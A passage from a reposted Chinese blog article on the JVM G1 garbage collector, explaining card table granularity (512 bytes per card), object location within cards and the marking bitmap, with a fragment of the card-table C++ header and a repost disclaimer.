"which". All of these cards must be Dirty.inline void change_dirty_cards_to(CardValue start_card, CardValue end_card, CardValue which);inline uint region_idx_for(CardValue p);static size_t compute_size(size_t mem_region_size_in_words) {size_t number_of_slots = (mem_region_size_in_words / _card_size_in_words);return ReservedSpace::allocation_align_size_up(number_of_slots);}// Returns how many bytes of the heap a single byte of the Card Table corresponds to.static size_t heap_map_factor() { return _card_size; }void initialize(G1RegionToSpaceMapper mapper);bool is_in_young(const void p) const override;}; 以位为粒度的位图能准确描述每一个字的引用关系，但是一个位通常包含的信息太少，只能描述2个状态：引用还是未引用。实际应用中JVM在垃圾回收的时候需要更多的状态，如果增加至一个字节来描述状态，则位图需要256KB的空间，这个数字太大，开销占了25%。所以一个可能的做法位图不再描述一个字，而是一个区域，JVM选择512字节为单位，即用一个字节描述512字节的引用关系。选择一个区域除了空间利用率的问题之外，实际上还有现实的意义。我们知道Java对象实际上不是一个字能描述的（有一个参数可以控制对象最小对齐的大小，默认是8字节，实际上Java在JVM中还有一些附加信息，所以对齐后最小的Java对象是16字节），很多Java对象可能是几十个字节或者几百个字节，所以用一个字节描述一个区域是有意义的。但是我没有找到512的来源，为什么512效果最好？没有相应的数据来支持这个数字，而且这个值不可以配置，不能修改，但是有理由相信512字节的区域是为了节约内存额外开销。按照这个值，1MB的内存只需要2KB的额外空间就能描述引用关系。这又带来另一个问题，就是512字节里面的内存可能被引用多次，所以这是一个粗略的关系描述，那么在使用的时候需要遍历这512字节。 再举一个例子，假设有两个对象B、C都在这512字节的区域内。为了方便处理，记录对象引用关系的时候，都使用对象的起始位置，然后用这个地址和512对齐，因此B和C对象的卡表指针都指向这一个卡表的位置。那么对于引用处理也有可有两种处理方法：·处理的时候会以堆分区为处理单位，遍历整个堆分区，在遍历的时候，每次都会以对象大小为步长，结合卡表，如果该卡表中对应的位置被设置，则说明对象和其他分区的对象发生了引用。具体内容在后文中介绍Refine的时候还会详细介绍。·处理的时候借助于额外的数据结构，找到真正对象的位置，而不需要从头开始遍历。在后文的并发标记处理时就使用了这种方法，用于找到第一个对象的起始位置。在G1除了512字节粒度的卡表之外，还有bitMap，例如使用bitMap可以描述一个分区对另外一个分区的引用情况。在JVM中bitMap使用非常多，例如还可以描述内存的分配情况。 在G1除了512字节粒度的卡表之外，还有bitMap，例如使用bitMap可以描述一个分区对另外一个分区的引用情况。在JVM中bitMap使用非常多，例如还可以描述内存的分配情况。G1在混合收集算法中用到了并发标记。在并发标记的时候使用了bitMap来描述对象的分配情况。例如1MB的分区可以用16KB（16KB×ObjectAlignmentInBytes×8=1MB）来描述，即16KB额外的空间。其中ObjectAlignmentInBytes是8字节，指的是对象对齐，第二个8是指一个字节有8位。即每一个位可以描述64位。例如一个对象长度对齐之后为24字节，理论上它占用3个位来描述这个24字节已被使用了，实际上并不需要，在标记的时候只需要标记这3个位中的第一个位，再结合堆分区对象的大小信息就能准确找出。其最主要的目的是为了效率，标记一个位和标记3个位相比能节约不少时间，如果对象很大，则更划算。这些都是源码的实现细节，大家在阅读源码时需要细细斟酌。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_16500963/article/details/132133125。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。